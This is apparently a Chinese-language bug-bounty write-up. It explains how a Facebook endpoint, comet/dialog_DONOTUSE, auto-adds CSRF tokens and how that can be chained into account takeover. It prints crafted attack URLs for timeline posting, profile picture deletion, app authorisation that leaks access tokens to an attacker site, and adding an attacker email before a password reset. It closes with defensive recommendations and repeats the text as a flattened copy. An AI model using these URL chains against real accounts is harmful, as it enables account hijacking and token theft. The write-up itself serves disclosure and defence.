挖洞经验 | 绕过Facebook CSRF防护机制实现账户劫持
字数 1102 2025-08-18 11:37:57

Facebook CSRF防护机制绕过与账户劫持漏洞分析

漏洞概述

本漏洞涉及Facebook的CSRF(跨站请求伪造)防护机制绕过问题,攻击者能够构造特殊URL诱骗用户点击,从而实现对Facebook账户的劫持控制。漏洞存在于Facebook的comet/dialog_DONOTUSE端点中,该端点会自动生成并添加CSRF token(fb_dtsg)到请求中。

漏洞细节

漏洞端点

https://www.facebook.com/comet/dialog_DONOTUSE/?url=XXXX

其中XXXX可以是任何构造的对Facebook服务端发起POST请求的接口,系统会自动添加CSRF token。

攻击示例

  1. 时间线发帖攻击:
https://www.facebook.com/comet/dialog_DONOTUSE/?url=/api/graphql/%3fdoc_id=1740513229408093%26variables={"input":{"actor_id":{TARGET_ID},"client_mutation_id":"1","source":"WWW","audience":{"web_privacyx":"REDECATED"},"message":{"text":"TEXT","ranges":[]}}}
  1. 删除个人资料图片:
https://www.facebook.com/comet/dialog_DONOTUSE/?url=/profile/picture/remove_picture/%3fdelete_from_album=1%26profile_id={TARGET_ID}
  1. 欺骗删除账户:
https://www.facebook.com/comet/dialog_DONOTUSE/?url=/help/delete_account/dialog/%3f__asyncDialog=0%26locale=fr_FR

账户劫持技术分析

攻击流程

  1. 应用授权阶段:

    • 构造URL让受害者授权攻击者的应用
    • 授权后会重定向到https://www.facebook.com/v3.2/dialog/oauth
    • 携带access_token自动跳转到攻击者控制的网站

    构造的授权URL:

    https://www.facebook.com/comet/dialog_DONOTUSE/?url=/ajax/appcenter/redirect_to_app%3fapp_id={ATTACKER_APP}%26ref=appcenter_top_grossing%26redirect_uri=https%3a//www.facebook.com/v3.2/dialog/oauth%3fresponse_type%3dtoken%26client_id%3d{ATTACKER_APP}%26redirect_uri%3d{DOUBLE_URL_ENCODED_LINK}%26scope%3d&preview=0&fbs=125&sentence_id&gift_game=0&scopes[0]=email&gdpv4_source=dialog
    
  2. 添加联系人信息:

    • 攻击者网站收到访问token
    • 创建邮箱并将受害者跳转到添加联系人的URL:
    https://www.facebook.com/comet/dialog_DONOTUSE/?url=/add_contactpoint/dialog/submit/%3fcontactpoint={EMAIL_CHOSEN}%26next=/v3.2/dialog/oauth%253fresponse_type%253dtoken%2526client_id%253d{ATTACKER_APP}%2526redirect_uri%253d{DOUBLE_URL_ENCODED_LINK}
    
  3. 确认邮箱添加:

    • 攻击者查找Facebook发送的确认邮件中的链接:
    https://www.facebook.com/confirmcontact.php?c={CODE}&z=0&gfid={HASH}
    
    • 使用/confirm_code/dialog/submit/功能进行确认
  4. 重置密码:

    • 新邮箱添加成功后,攻击者可通过邮箱重置密码实现账户劫持

技术要点

  1. CSRF token自动添加:

    • comet/dialog_DONOTUSE端点会自动生成并添加fb_dtsg token
    • 绕过Facebook正常的CSRF防护机制
  2. 重定向保护绕过:

    • 利用next参数绕过Facebook的重定向保护
    • 通过双重URL编码规避检测
  3. 无交互授权:

    • 利用/ajax/appcenter/redirect_to_app实现无用户交互的应用授权
  4. 联系人添加流程:

    • /add_contactpoint/dialog/submit/端点允许添加联系人无需密码确认
    • 结合next参数实现自动化流程

防御建议

  1. 限制comet/dialog_DONOTUSE端点的使用范围
  2. 对自动添加CSRF token的功能增加额外验证
  3. 加强重定向保护机制,防止next参数滥用
  4. 对敏感操作(如添加联系人)增加二次验证
  5. 监控异常的应用授权行为

总结

该漏洞展示了Facebook防护机制中的多个薄弱环节被串联利用的可能性。攻击者通过精心构造的URL链,可以绕过CSRF防护、重定向保护等安全措施,最终实现账户劫持。这种攻击不需要特定目标,任何点击恶意链接的Facebook用户都可能成为受害者。

Facebook CSRF防护机制绕过与账户劫持漏洞分析 漏洞概述 本漏洞涉及Facebook的CSRF(跨站请求伪造)防护机制绕过问题,攻击者能够构造特殊URL诱骗用户点击,从而实现对Facebook账户的劫持控制。漏洞存在于Facebook的 comet/dialog_DONOTUSE 端点中,该端点会自动生成并添加CSRF token( fb_dtsg )到请求中。 漏洞细节 漏洞端点 其中 XXXX 可以是任何构造的对Facebook服务端发起POST请求的接口,系统会自动添加CSRF token。 攻击示例 时间线发帖攻击 : 删除个人资料图片 : 欺骗删除账户 : 账户劫持技术分析 攻击流程 应用授权阶段 : 构造URL让受害者授权攻击者的应用 授权后会重定向到 https://www.facebook.com/v3.2/dialog/oauth 携带 access_token 自动跳转到攻击者控制的网站 构造的授权URL: 添加联系人信息 : 攻击者网站收到访问token 创建邮箱并将受害者跳转到添加联系人的URL: 确认邮箱添加 : 攻击者查找Facebook发送的确认邮件中的链接: 使用 /confirm_code/dialog/submit/ 功能进行确认 重置密码 : 新邮箱添加成功后,攻击者可通过邮箱重置密码实现账户劫持 技术要点 CSRF token自动添加 : comet/dialog_DONOTUSE 端点会自动生成并添加 fb_dtsg token 绕过Facebook正常的CSRF防护机制 重定向保护绕过 : 利用 next 参数绕过Facebook的重定向保护 通过双重URL编码规避检测 无交互授权 : 利用 /ajax/appcenter/redirect_to_app 实现无用户交互的应用授权 联系人添加流程 : /add_contactpoint/dialog/submit/ 端点允许添加联系人无需密码确认 结合 next 参数实现自动化流程 防御建议 限制 comet/dialog_DONOTUSE 端点的使用范围 对自动添加CSRF token的功能增加额外验证 加强重定向保护机制,防止 next 参数滥用 对敏感操作(如添加联系人)增加二次验证 监控异常的应用授权行为 总结 该漏洞展示了Facebook防护机制中的多个薄弱环节被串联利用的可能性。攻击者通过精心构造的URL链,可以绕过CSRF防护、重定向保护等安全措施,最终实现账户劫持。这种攻击不需要特定目标,任何点击恶意链接的Facebook用户都可能成为受害者。